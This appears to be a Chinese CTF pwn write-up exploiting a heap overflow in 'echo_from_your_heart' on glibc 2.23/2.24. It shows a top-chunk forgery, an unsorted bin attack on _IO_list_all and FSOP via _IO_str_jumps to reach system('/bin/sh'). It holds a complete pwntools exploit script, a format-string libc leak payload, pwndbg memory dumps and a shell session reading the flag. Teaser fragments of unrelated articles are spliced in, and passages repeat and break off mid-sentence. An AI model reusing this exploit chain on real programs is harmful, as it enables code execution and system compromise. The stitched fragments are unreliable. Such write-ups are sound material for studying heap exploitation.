prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); 翻译过来就是—伪造的top_chunk的size要满足一下条件: size要大于MINSIZE(MINSIZE一般为0x20)size的pre_inuse位要为1old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点 通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件 利用get()函数溢出发起Unsortedbin Attack 前面创造的free chunk如下所示: pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print("possible_IO_str_jumps_offset"+hex(possible_IO_str_jumps_offset)) io_str_jumps = libcbase + possible_IO_str_jumps_offset log.success("io_str_jumps -> "+hex(io_str_jumps)) break io_list_all = libcbase + obj.dump("_IO_list_all") log.success("io_list_all -> "+hex(io_list_all)) # vtable_addr = libcbase+libc.symbols["_IO_str_jumps"] # libc2.24 # vtable_addr = libcbase + obj.dump('_IO_str_jumps') # libc2.23 # log.success("_IO_str_jumps -> "+hex(vtable_addr)) # jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps vtable_addr = io_str_jumps payload = b"b"*0x20 # Plan A fakechunk = p64(0) + p64(0x61) # unsorted bin attack fakechunk += p64(0) + p64(io_list_all-0x10) # FD and BK(point to _IO_list_all-0x10) fakechunk += p64(2) + p64(3) fakechunk += p64(0) + p64(str_bin_sh_addr) fakechunk = fakechunk.ljust(0xd0, b"\x00") fakechunk += p64(0) fakechunk += p64(vtable_addr-0x8) fakechunk = fakechunk.ljust(0xe8, b"\x00") payload += fakechunk payload += p64(system_addr) mian_fun(0x20,payload) io.sendline("1") io.interactive() if __name__ == '__main__': main() 执行成功效果 ======= Memory map: ======== 555555554000-555555555000 r-xp 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555754000-555555755000 r--p 00000000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555755000-555555756000 rw-p 00001000 08:01 1052914 /home/healer/Desktop/echo_from_your_heart/echo_from_your_heart 555555756000-555555799000 rw-p 00000000 00:00 0 [heap] 7ffff0000000-7ffff0021000 rw-p 00000000 00:00 0 7ffff0021000-7ffff4000000 ---p 00000000 00:00 0 7ffff77f7000-7ffff780d000 r-xp 00000000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff780d000-7ffff7a0c000 ---p 00016000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0c000-7ffff7a0d000 rw-p 00015000 08:01 1578357 /lib/x86_64-linux-gnu/libgcc_s.so.1 7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459 /lib/x86_64-linux-gnu/libc-2.23.so 7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 7ffff7ff6000-7ffff7ff7000 rw-p 00000000 00:00 0 7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0 [vvar] 7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0 [vdso] 7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470 /lib/x86_64-linux-gnu/ld-2.23.so 7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x19 bytes: b'flag{Cragratulations!!!}\n' flag{Cragratulations!!!} IO_FILE概述IO_FILE结构介绍利用IO_FILE进行leakFSOP总结 这是pwn题堆利用系列的第三篇文章,本篇文章主要讲解一下IO_FILE结构在pwn题中的利用。一般来说,想到使用IO_FILE结构,是因为pwn题中没有可以用来leak的函数。 IO_FILE结构介绍 FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中,然后以链表的形式串联起来,但系统一开始创建的三个文件st struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read 链接:https://pan.baidu.com/s/1vSrgF4iQ-2X6gQSciEPi9Q 密码:g2hc #####这是一道简单的io_file的题,通过这个题大概可以知道io_file的机制,总的来说其实就是控制fd指针导致最后指针指向我们需要控制的函数 ######先拖入ida: __int6... 这两题都是关于_IO_FILE文件流攻击的题目,如果对_IO_FILE文件流不是很清楚,可以看ctfwiki中的_IO_FILE介绍——传送门。 echo_back——关于_IO_2_1_stdin结构的利用 文件保护全开,不能got覆写。 进入IDA,发现程序有两个功能,一个是setname,一个是echo back。 查看setname功能,发现此功能只能输入7个字节,不具备RO... arena usage: arena [-h] [addr] Prints out the main arena or the arena at the specified by address.打印main arena特定地址的arena arenas usage: arenas [-h]...
libc_2.23.so:00007FFFF7A8E400 loc_7FFFF7A8E400: ; CODE XREF: sub_7FFFF7A8E260+7Ej libc_2.23.so:00007FFFF7A8E400 ; sub_7FFFF7A8E260+87j libc_2.23.so:00007FFFF7A8E400 cmp r12, 1Fh # 此处校验请求的大小是否大于MINSIZE libc_2.23.so:00007FFFF7A8E404 jbe short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E406 test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 libc_2.23.so:00007FFFF7A8E408 jz short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E40A lea rax, [r15-1] # r15存储page大小 libc_2.23.so:00007FFFF7A8E40E test rdx, rax # rdx指向top chunk开始处堆的起始地址加上原有top chunk剩余的大小,即校验是否满足页对齐 # 其实就是看一看原来分配的正常的堆块是对齐的,现在使用过之后用到哪里了剩下多少,加起来还满不满足页对齐 libc_2.23.so:00007FFFF7A8E411 jz loc_7FFFF7A8E2ED # 此处如果跳转成功则可以继续执行 libc_2.23.so:00007FFFF7A8E417 libc_2.23.so:00007FFFF7A8E417 loc_7FFFF7A8E417: ; CODE XREF: sub_7FFFF7A8E260+1A4j libc_2.23.so:00007FFFF7A8E417 ; sub_7FFFF7A8E260+1A8j libc_2.23.so:00007FFFF7A8E417 lea rcx, aSysmalloc ; "sysmalloc" # 此处开始获取告警字符串存储的位置 libc_2.23.so:00007FFFF7A8E41E lea rsi, aMalloc_c ; "malloc.c" libc_2.23.so:00007FFFF7A8E425 lea rdi, aOld_topInitial ; "(old_top == initial_top (av) && old_siz"... libc_2.23.so:00007FFFF7A8E42C mov edx, 961h libc_2.23.so:00007FFFF7A8E431 call near ptr unk_7FFFF7A8A290 # 此处触发告警信息并且导致程序结束 libc_2.23.so:00007FFFF7A8E436 db 2Eh libc_2.23.so:00007FFFF7A8E436 nop word ptr [rax+rax+00000000h] libc_2.23.so:00007FFFF7A8E440 根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用 下面扩展一个GDB的调试结果,同样也是锁定报错的位置
根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用
下面扩展一个GDB的调试结果,同样也是锁定报错的位置
pwndbg> 0x00007ffff7a8e40e 2398 in malloc.c *RAX 0xfff RDX 0x555555757000 ◂— 0x0 # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60) R15 0x1000 ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a8e400 <sysmalloc+416> cmp r12, 0x1f # 此处校验请求的大小是否大于MINSIZE 0x7ffff7a8e404 <sysmalloc+420> jbe sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e406 <sysmalloc+422> test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 0x7ffff7a8e408 <sysmalloc+424> je sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e40a <sysmalloc+426> lea rax, [r15 - 1] ► 0x7ffff7a8e40e <sysmalloc+430> test rdx, rax # 校验页对齐 0x7ffff7a8e411 <sysmalloc+433> je sysmalloc+141 <sysmalloc+141> 0x7ffff7a8e2ed <sysmalloc+141> lea rax, [rbp + 0x20] ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a8e40e sysmalloc+430 f 1 7ffff7a8f763 _int_malloc+3027 f 2 7ffff7a911d4 malloc+84 f 3 555555554947 f 4 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x5555557560a0 0x0000000000000000 0x0000000000000f61 ........a....... <-- Top chunk 起始地址 剩余大小 至此,再次附上sysmalloc中的_int_free的基本条件: assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); 翻译过来就是—伪造的top_chunk的size要满足一下条件: size要大于MINSIZE(MINSIZE一般为0x20)size的pre_inuse位要为1old_top + 